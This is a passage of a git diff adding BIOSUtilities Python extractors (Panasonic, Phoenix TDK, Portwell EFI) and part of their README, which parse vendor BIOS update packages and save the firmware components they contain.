pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) + + # Parse all Resource Data Directories > RCDATA (ID = 10) + for entry in pe_file.DIRECTORY_ENTRY_RESOURCE.entries: + if entry.struct.name == 'IMAGE_RESOURCE_DIRECTORY_ENTRY' and entry.struct.Id == 0xA: + is_rcdata = True + for resource in entry.directory.entries: + res_bgn = resource.directory.entries[0].data.struct.OffsetToData + res_len = resource.directory.entries[0].data.struct.Size + res_end = res_bgn + res_len + res_bin = pe_file.get_data(res_bgn, res_len) + res_tag = f'{pe_name} [0x{res_bgn:06X}-0x{res_end:06X}]' + res_out = os.path.join(extract_path, f'{res_tag}') + + printer(res_tag, padding + 4) + + try: + res_raw = lznt1.decompress(res_bin[0x8:]) + + printer('Succesfull LZNT1 decompression via lznt1!', padding + 8) + except Exception: + res_raw = res_bin + + printer('Succesfull PE Resource extraction!', padding + 8) + + # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image + if is_ami_pfat(res_raw): + pfat_dir = os.path.join(extract_path, res_tag) + + parse_pfat_file(res_raw, pfat_dir, padding + 12) + else: + if is_pe_file(res_raw): + res_ext = 'exe' + elif res_raw.startswith(b'[') and res_raw.endswith((b'\x0D\x0A',b'\x0A')): + res_ext = 'txt' + else: + res_ext = 'bin' + + if res_ext == 'txt': + printer(new_line=False) + for line in io.BytesIO(res_raw).readlines(): + line_text = line.decode('utf-8','ignore').rstrip() + printer(line_text, padding + 12, new_line=False) + + with open(f'{res_out}.{res_ext}', 'wb') as out_file: + out_file.write(res_raw) + + return is_rcdata + +# Extract Panasonic BIOS Update PE Data when RCDATA is not available +def panasonic_img_extract(pe_name, pe_path, pe_file, extract_path, padding=0): + pe_data = file_to_bytes(pe_path) + + sec_bgn = pe_file.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].VirtualAddress + img_bgn = pe_file.OPTIONAL_HEADER.BaseOfData + pe_file.OPTIONAL_HEADER.SizeOfInitializedData + img_end = sec_bgn or len(pe_data) + img_bin = pe_data[img_bgn:img_end] + img_tag = f'{pe_name} [0x{img_bgn:X}-0x{img_end:X}]' + img_out = os.path.join(extract_path, f'{img_tag}.bin') + + printer(img_tag, padding + 4) + + with open(img_out, 'wb') as out_img: + out_img.write(img_bin) + + printer('Succesfull PE Data extraction!', padding + 8) + + return bool(img_bin) + +# Parse & Extract Panasonic BIOS Package PE +def panasonic_pkg_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + pkg_pe_file = get_pe_file(input_buffer, fast=True) + + if not pkg_pe_file: + return 2 + + pkg_pe_info = get_pe_info(pkg_pe_file) + + if not pkg_pe_info: + return 3 + + pkg_pe_name = path_stem(input_file) + + printer(f'Panasonic BIOS Package > PE ({pkg_pe_name})\n', padding) + + show_pe_info(pkg_pe_info, padding + 4) + + upd_pe_path,upd_pe_file,upd_pe_info = panasonic_cab_extract(input_buffer, extract_path, padding + 4) + + if not (upd_pe_path and upd_pe_file and upd_pe_info): + return 4 + + upd_pe_name = safe_name(path_stem(upd_pe_path)) + + printer(f'Panasonic BIOS Update > PE ({upd_pe_name})\n', padding + 12) + + show_pe_info(upd_pe_info, padding + 16) + + is_upd_res, is_upd_img = False, False + + is_upd_res = panasonic_res_extract(upd_pe_name, upd_pe_file, extract_path, padding + 16) + + if not is_upd_res: + is_upd_img = panasonic_img_extract(upd_pe_name, upd_pe_path, upd_pe_file, extract_path, padding + 16) + + os.remove(upd_pe_path) + + return 0 if is_upd_res or is_upd_img else 1 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_panasonic_pkg, panasonic_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py new file mode 100644 index 000000000..3328ad418 --- /dev/null +++ b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Phoenix TDK Extract +Phoenix TDK Packer Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Phoenix TDK Packer Extractor v2.0_a10' + +import os +import sys +import lzma +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.path_ops import make_dirs, safe_name +from common.pe_ops import get_pe_file, get_pe_info +from common.patterns import PAT_MICROSOFT_MZ, PAT_MICROSOFT_PE, PAT_PHOENIX_TDK +from common.struct_ops import char, get_struct, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class PhoenixTdkHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Tag', char*8), # 0x00 + ('Size', uint32_t), # 0x08 + ('Count', uint32_t), # 0x0C + # 0x10 + ] + + def _get_tag(self): + return self.Tag.decode('utf-8','ignore').strip() + + def struct_print(self, p): + printer(['Tag :', self._get_tag()], p, False) + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Entries:', self.Count], p, False) + +class PhoenixTdkEntry(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Name', char*256), # 0x000 + ('Offset', uint32_t), # 0x100 + ('Size', uint32_t), # 0x104 + ('Compressed', uint32_t), # 0x108 + ('Reserved', uint32_t), # 0x10C + # 0x110 + ] + + COMP = {0: 'None', 1: 'LZMA'} + + def __init__(self, mz_base, *args, **kwargs): + super().__init__(*args, **kwargs) + self.Base = mz_base + + def get_name(self): + return self.Name.decode('utf-8','replace').strip() + + def get_offset(self): + return self.Base + self.Offset + + def get_compression(self): + return self.COMP.get(self.Compressed, f'Unknown ({self.Compressed})') + + def struct_print(self, p): + printer(['Name :', self.get_name()], p, False) + printer(['Offset :', f'0x{self.get_offset():X}'], p, False) + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Compression:', self.get_compression()], p, False) + printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) + +# Get Phoenix TDK Executable (MZ) Base Offset +def get_tdk_base(in_buffer, pack_off): + tdk_base_off = None # Initialize Phoenix TDK Base MZ Offset + + # Scan input file for all Microsoft executable patterns (MZ) before TDK Header Offset + mz_all = [mz for mz in PAT_MICROSOFT_MZ.finditer(in_buffer) if mz.start() < pack_off] + + # Phoenix TDK Header structure is an index table for all TDK files + # Each TDK file is referenced from the TDK Packer executable base + # The TDK Header is always at the end of the TDK Packer executable + # Thus, prefer the TDK Packer executable (MZ) closest to TDK Header + # For speed, check MZ closest to (or at) 0x0 first (expected input) + mz_ord = [mz_all[0]] + list(reversed(mz_all[1:])) + + # Parse each detected MZ + for mz in mz_ord: + mz_off = mz.start() + + # MZ (DOS) > PE (NT) image Offset is found at offset 0x3C-0x40 relative to MZ base + pe_off = mz_off + int.from_bytes(in_buffer[mz_off + 0x3C:mz_off + 0x40], 'little') + + # Skip MZ (DOS) with bad PE (NT) image Offset + if pe_off == mz_off or pe_off >= pack_off: + continue + + # Check if potential MZ > PE image magic value is valid + if PAT_MICROSOFT_PE.search(in_buffer[pe_off:pe_off + 0x4]): + try: + # Parse detected MZ > PE > Image, quickly (fast_load) + pe_file = get_pe_file(in_buffer[mz_off:], fast=True) + + # Parse detected MZ > PE > Info + pe_info = get_pe_info(pe_file) + + # Parse detected MZ > PE > Info > Product Name + pe_name = pe_info.get(b'ProductName',b'') + except Exception: + # Any error means no MZ > PE > Info > Product Name + pe_name = b'' + + # Check for valid Phoenix TDK Packer PE > Product Name + # Expected value is "TDK Packer (Extractor for Windows)" + if pe_name.upper().startswith(b'TDK PACKER'): + # Set TDK Base Offset to valid TDK Packer MZ offset + tdk_base_off = mz_off + + # Stop parsing detected MZ once TDK Base Offset is found + if tdk_base_off is not None: + break + else: + # No TDK Base Offset could be found, assume 0x0 + tdk_base_off = 0x0 + + return tdk_base_off + +# Scan input buffer for valid Phoenix TDK image +def get_phoenix_tdk(in_buffer): + # Scan input buffer for Phoenix TDK pattern + tdk_match = PAT_PHOENIX_TDK.search(in_buffer) + + if not tdk_match: + return None, None + + # Set Phoenix TDK Header ($PACK) Offset + tdk_pack_off = tdk_match.start() + + # Get Phoenix TDK Executable (MZ) Base Offset + tdk_base_off = get_tdk_base(in_buffer, tdk_pack_off) + + return tdk_base_off, tdk_pack_off + +# Check if input contains valid Phoenix TDK image +def is_phoenix_tdk(in_file): + buffer = file_to_bytes(in_file) + + return bool(get_phoenix_tdk(buffer)[1] is not None) + +# Parse & Extract Phoenix Tools Development Kit (TDK) Packer +def phoenix_tdk_extract(input_file, extract_path, padding=0): + exit_code = 0 + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + printer('Phoenix Tools Development Kit Packer', padding) + + base_off,pack_off = get_phoenix_tdk(input_buffer) + + # Parse TDK Header structure + tdk_hdr = get_struct(input_buffer, pack_off, PhoenixTdkHeader) + + # Print TDK Header structure info + printer('Phoenix TDK Header:\n', padding + 4) + tdk_hdr.struct_print(padding + 8) + + # Check if reported TDK Header Size matches manual TDK Entry Count calculation + if tdk_hdr.Size != TDK_HDR_LEN + TDK_DUMMY_LEN + tdk_hdr.Count * TDK_MOD_LEN: + printer('Error: Phoenix TDK Header Size & Entry Count mismatch!\n', padding + 8, pause=True) + exit_code = 1 + + # Store TDK Entries offset after the placeholder data + entries_off = pack_off + TDK_HDR_LEN + TDK_DUMMY_LEN + + # Parse and extract each TDK Header Entry + for entry_index in range(tdk_hdr.Count): + # Parse TDK Entry structure + tdk_mod = get_struct(input_buffer, entries_off + entry_index * TDK_MOD_LEN, PhoenixTdkEntry, [base_off]) + + # Print TDK Entry structure info + printer(f'Phoenix TDK Entry ({entry_index + 1}/{tdk_hdr.Count}):\n', padding + 8) + tdk_mod.struct_print(padding + 12) + + # Get TDK Entry raw data Offset (TDK Base + Entry Offset) + mod_off = tdk_mod.get_offset() + + # Check if TDK Entry raw data Offset is valid + if mod_off >= len(input_buffer): + printer('Error: Phoenix TDK Entry > Offset is out of bounds!\n', padding + 12, pause=True) + exit_code = 2 + + # Store TDK Entry raw data (relative to TDK Base, not TDK Header) + mod_data = input_buffer[mod_off:mod_off + tdk_mod.Size] + + # Check if TDK Entry raw data is complete + if len(mod_data) != tdk_mod.Size: + printer('Error: Phoenix TDK Entry > Data is truncated!\n', padding + 12, pause=True) + exit_code = 3 + + # Check if TDK Entry Reserved is present + if tdk_mod.Reserved: + printer('Error: Phoenix TDK Entry > Reserved is not empty!\n', padding + 12, pause=True) + exit_code = 4 + + # Decompress TDK Entry raw data, when applicable (i.e. LZMA) + if tdk_mod.get_compression() == 'LZMA': + try: + mod_data = lzma.LZMADecompressor().decompress(mod_data) + except Exception: + printer('Error: Phoenix TDK Entry > LZMA decompression failed!\n', padding + 12, pause=True) + exit_code = 5 + + # Generate TDK Entry file name, avoid crash if Entry data is bad + mod_name = tdk_mod.get_name() or f'Unknown_{entry_index + 1:02d}.bin' + + # Generate TDK Entry file data output path + mod_file = os.path.join(extract_path, safe_name(mod_name)) + + # Account for potential duplicate file names + if os.path.isfile(mod_file): mod_file += f'_{entry_index + 1:02d}' + + # Save TDK Entry data to output file + with open(mod_file, 'wb') as out_file: + out_file.write(mod_data) + + return exit_code + +# Get ctypes Structure Sizes +TDK_HDR_LEN = ctypes.sizeof(PhoenixTdkHeader) +TDK_MOD_LEN = ctypes.sizeof(PhoenixTdkEntry) + +# Set placeholder TDK Entries Size +TDK_DUMMY_LEN = 0x200 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_phoenix_tdk, phoenix_tdk_extract).run_utility() diff --git a/blobs/t480/biosutilities/Portwell_EFI_Extract.py b/blobs/t480/biosutilities/Portwell_EFI_Extract.py new file mode 100644 index 000000000..bb40705a9 --- /dev/null +++ b/blobs/t480/biosutilities/Portwell_EFI_Extract.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Portwell EFI Extract +Portwell EFI Update Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Portwell EFI Update Extractor v2.0_a12' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_efi import efi_decompress, is_efi_compressed +from common.path_ops import make_dirs, safe_name +from common.pe_ops import get_pe_file +from common.patterns import PAT_MICROSOFT_MZ, PAT_PORTWELL_EFI +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +FILE_NAMES = { + 0 : 'Flash.efi', + 1 : 'Fparts.txt', + 2 : 'Update.nsh', + 3 : 'Temp.bin', + 4 : 'SaveDmiData.efi' + } + +# Check if input is Portwell EFI executable +def is_portwell_efi(in_file): + in_buffer = file_to_bytes(in_file) + + try: + pe_buffer = get_portwell_pe(in_buffer)[1] + except Exception: + pe_buffer = b'' + + is_mz = PAT_MICROSOFT_MZ.search(in_buffer[:0x2]) # EFI images start with PE Header MZ + + is_uu = PAT_PORTWELL_EFI.search(pe_buffer[:0x4]) # Portwell EFI files start with + + return bool(is_mz and is_uu) + +# Get PE of Portwell EFI executable +def get_portwell_pe(in_buffer): + pe_file = get_pe_file(in_buffer, fast=True) # Analyze EFI Portable Executable (PE) + + pe_data = in_buffer[pe_file.OPTIONAL_HEADER.SizeOfImage:] # Skip EFI executable (pylint: disable=E1101) + + return pe_file, pe_data + +# Parse & Extract Portwell UEFI Unpacker +def portwell_efi_extract(input_file, extract_path, padding=0): + efi_files = [] # Initialize EFI Payload file chunks + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + pe_file,pe_data = get_portwell_pe(input_buffer) + + efi_title = get_unpacker_tag(input_buffer, pe_file) + + printer(efi_title, padding) + + # Split EFI Payload into file chunks + efi_list = list(PAT_PORTWELL_EFI.finditer(pe_data)) + for idx,val in enumerate(efi_list): + efi_bgn = val.end() + efi_end = len(pe_data) if idx == len(efi_list) - 1 else efi_list[idx + 1].start() + efi_files.append(pe_data[efi_bgn:efi_end]) + + parse_efi_files(extract_path, efi_files, padding) + +# Get Portwell UEFI Unpacker tag +def get_unpacker_tag(input_buffer, pe_file): + unpacker_tag_txt = 'UEFI Unpacker' + + for pe_section in pe_file.sections: + # Unpacker Tag, Version, Strings etc are found in .data PE section + if pe_section.Name.startswith(b'.data'): + pe_data_bgn = pe_section.PointerToRawData + pe_data_end = pe_data_bgn + pe_section.SizeOfRawData + + # Decode any valid UTF-16 .data PE section info to a parsable text buffer + pe_data_txt = input_buffer[pe_data_bgn:pe_data_end].decode('utf-16','ignore') + + # Search .data for UEFI Unpacker tag + unpacker_tag_bgn = pe_data_txt.find(unpacker_tag_txt) + if unpacker_tag_bgn != -1: + unpacker_tag_len = pe_data_txt[unpacker_tag_bgn:].find('=') + if unpacker_tag_len != -1: + unpacker_tag_end = unpacker_tag_bgn + unpacker_tag_len + unpacker_tag_raw = pe_data_txt[unpacker_tag_bgn:unpacker_tag_end] + + # Found full UEFI Unpacker tag, store and slightly beautify the resulting text + unpacker_tag_txt = unpacker_tag_raw.strip().replace(' ',' ').replace('<',' <') + + break # Found PE .data section, skip the rest + + return unpacker_tag_txt + +# Process Portwell UEFI Unpacker payload files +def parse_efi_files(extract_path, efi_files, padding): + for file_index,file_data in enumerate(efi_files): + if file_data in (b'', b'NULL'): + continue # Skip empty/unused files + + file_name = FILE_NAMES.get(file_index, f'Unknown_{file_index}.bin') # Assign Name to EFI file + + printer(f'[{file_index}] {file_name}', padding + 4) # Print EFI file name, indicate progress + + if file_name.startswith('Unknown_'): + printer(f'Note: Detected new Portwell EFI file ID {file_index}!', padding + 8, pause=True) # Report new EFI files + + file_path = os.path.join(extract_path, safe_name(file_name)) # Store EFI file output path + + with open(file_path, 'wb') as out_file: + out_file.write(file_data) # Store EFI file data to drive + + # Attempt to detect EFI compression & decompress when applicable + if is_efi_compressed(file_data): + comp_fname = file_path + '.temp' # Store temporary compressed file name + + os.replace(file_path, comp_fname) # Rename initial/compressed file + + if efi_decompress(comp_fname, file_path, padding + 8) == 0: + os.remove(comp_fname) # Successful decompression, delete compressed file + +if __name__ == '__main__': + BIOSUtility(TITLE, is_portwell_efi, portwell_efi_extract).run_utility() diff --git a/blobs/t480/biosutilities/README.md b/blobs/t480/biosutilities/README.md new file mode 100644 index 000000000..0d8c29c92 --- /dev/null +++ b/blobs/t480/biosutilities/README.md @@ -0,0 +1,552 @@ +# BIOSUtilities [Refactor - WIP] +**Various BIOS Utilities for Modding/Research** + +[BIOS Utilities News Feed](https://twitter.com/platomaniac) + +* [**AMI BIOS Guard Extractor**](#ami-bios-guard-extractor) +* [**AMI UCP Update Extractor**](#ami-ucp-update-extractor) +* [**Apple EFI IM4P Splitter**](#apple-efi-im4p-splitter) +* [**Apple EFI Image Identifier**](#apple-efi-image-identifier) +* [**Apple EFI Package Extractor**](#apple-efi-package-extractor) +* [**Apple EFI PBZX Extractor**](#apple-efi-pbzx-extractor) +* [**Award BIOS Module Extractor**](#award-bios-module-extractor) +* [**Dell PFS Update Extractor**](#dell-pfs-update-extractor) +* [**Fujitsu SFX BIOS Extractor**](#fujitsu-sfx-bios-extractor) +* [**Fujitsu UPC BIOS Extractor**](#fujitsu-upc-bios-extractor) +* [**Insyde iFlash/iFdPacker Extractor**](#insyde-iflashifdpacker-extractor) +* [**Panasonic BIOS Package Extractor**](#panasonic-bios-package-extractor) +* [**Phoenix TDK Packer Extractor**](#phoenix-tdk-packer-extractor) +* [**Portwell EFI Update Extractor**](#portwell-efi-update-extractor) +* [**Toshiba BIOS COM Extractor**](#toshiba-bios-com-extractor) +* [**VAIO Packaging Manager Extractor**](#vaio-packaging-manager-extractor) + +## **AMI BIOS Guard Extractor** + +![]() + +#### **Description** + +Parses AMI BIOS Guard (a.k.a. PFAT, Platform Firmware Armoring Technology) images, extracts their SPI/BIOS/UEFI firmware components and decompiles the Intel BIOS Guard Scripts. It supports all AMI PFAT revisions and formats, including those with Index Information tables or nested AMI PFAT structures. The output comprises only final firmware components which are directly usable by end users. + +Note that the AMI PFAT structure may not have an explicit component order. AMI's BIOS Guard Firmware Update Tool (AFUBGT) updates components based on the user/OEM provided Parameters and Options or Index Information table, when applicable. That means that merging all the components together does not usually yield a proper SPI/BIOS/UEFI image. The utility does generate such a merged file with the name "00 -- \\_ALL.bin" but it is up to the end user to determine its usefulness. Moreover, any custom OEM data after the AMI PFAT structure are additionally stored in the last file with the name "\ -- \_OOB.bin" and it is once again up to the end user to determine its usefulness. In cases where the trailing custom OEM data include a nested AMI PFAT structure, the utility will process and extract it automatically as well. + +#### **Usage** + +You can either Drag & Drop or manually enter AMI BIOS Guard (PFAT) image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +Optionally, to decompile the AMI PFAT \> Intel BIOS Guard Scripts, you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **AMI UCP Update Extractor** + +![]() + +#### **Description** + +Parses AMI UCP (Utility Configuration Program) Update executables, extracts their firmware components (e.g. SPI/BIOS/UEFI, EC, ME etc) and shows all relevant info. It supports all AMI UCP revisions and formats, including those with nested AMI PFAT, AMI UCP or Insyde iFlash/iFdPacker structures. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter AMI UCP Update executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -c or --checksum : verify AMI UCP Checksums (slow) + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +Optionally, to decompile the AMI UCP \> AMI PFAT \> Intel BIOS Guard Scripts (when applicable), you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **Apple EFI IM4P Splitter** + +![]() + +#### **Description** + +Parses Apple IM4P multi-EFI files and splits all detected EFI firmware into separate Intel SPI/BIOS images. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI IM4P file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you do not need any prerequisites. + +#### **Pictures** + +![]() + +## **Apple EFI Image Identifier** + +![]() + +#### **Description** + +Parses Apple EFI images and identifies them based on Intel's official $IBIOSI$ tag, which contains info such as Model, Version, Build, Date and Time. Optionally, the utility can rename the input Apple EFI image based on the retrieved $IBIOSI$ tag info, while also making sure to differentiate any EFI images with the same $IBIOSI$ tag (e.g. Production, Pre-Production) by appending a checksum of their data. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -r or --rename : rename EFI image based on its tag + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [UEFIFind](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIFind.exe for Windows or UEFIFind for Linux](https://github.com/LongSoft/UEFITool/releases)) +* [UEFIExtract](https://github.com/LongSoft/UEFITool/) (i.e. [UEFIExtract.exe for Windows or UEFIExtract for Linux](https://github.com/LongSoft/UEFITool/releases)) + +#### **Pictures** + +![]() + +## **Apple EFI Package Extractor** + +![]() + +#### **Description** + +Parses Apple EFI PKG firmware packages (i.e. FirmwareUpdate.pkg, BridgeOSUpdateCustomer.pkg), extracts their EFI images, splits those in IM4P format and identifies/renames the final Intel SPI/BIOS images accordingly. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI PKG package file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Apple EFI PBZX Extractor** + +![]() + +#### **Description** + +Parses Apple EFI PBZX images, re-assembles their CPIO payload and extracts its firmware components (e.g. IM4P, EFI, Utilities, Scripts etc). It supports CPIO re-assembly from both Raw and XZ compressed PBZX Chunks. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Apple EFI PBZX image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tools at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Award BIOS Module Extractor** + +![]() + +#### **Description** + +Parses Award BIOS images and extracts their modules (e.g. RAID, MEMINIT, \_EN_CODE, awardext etc). It supports all Award BIOS image revisions and formats, including those which contain LZH compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Award BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Dell PFS Update Extractor** + +![]() + +#### **Description** + +Parses Dell PFS Update images and extracts their Firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and Utilities (e.g. Flasher etc) component sections. It supports all Dell PFS revisions and formats, including those which are originally LZMA compressed in ThinOS packages (PKG), ZLIB compressed or Intel BIOS Guard (PFAT) protected. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Dell PFS Update images(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts +* -a or --advanced : extract signatures and metadata +* -s or --structure : show PFS structure information + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +Optionally, to decompile the Intel BIOS Guard (PFAT) Scripts, you must have the following 3rd party utility at the "external" project directory: + +* [BIOS Guard Script Tool](https://github.com/platomav/BGScriptTool) (i.e. big_script_tool.py) + +#### **Pictures** + +![]() + +## **Fujitsu SFX BIOS Extractor** + +![]() + +#### **Description** + +Parses Fujitsu SFX BIOS images and extracts their obfuscated Microsoft CAB archived firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. WinPhlash, PHLASH.INI etc) components. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Fujitsu SFX BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() + +## **Fujitsu UPC BIOS Extractor** + +![]() + +#### **Description** + +Parses Fujitsu UPC BIOS images and extracts their EFI compressed SPI/BIOS/UEFI firmware component. The output comprises only a final firmware component which is directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Fujitsu UPC BIOS image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) + +#### **Pictures** + +![]() + +## **Insyde iFlash/iFdPacker Extractor** + +![]() + +#### **Description** + +Parses Insyde iFlash/iFdPacker Update images and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc) and utilities (e.g. InsydeFlash, H2OFFT, FlsHook, iscflash, platform.ini etc) components. It supports all Insyde iFlash/iFdPacker revisions and formats, including those which are 7-Zip SFX 7z compressed in raw, obfuscated or password-protected form. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Insyde iFlash/iFdPacker Update image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you do not need any prerequisites. + +#### **Pictures** + +![]() + +## **Panasonic BIOS Package Extractor** + +![]() + +#### **Description** + +Parses Panasonic BIOS Package executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. winprom, configuration etc) components. It supports all Panasonic BIOS Package revisions and formats, including those which contain LZNT1 compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Panasonic BIOS Package executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python modules installed: + +* [pefile](https://pypi.org/project/pefile/) +* [lznt1](https://pypi.org/project/lznt1/) + +Moreover, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### 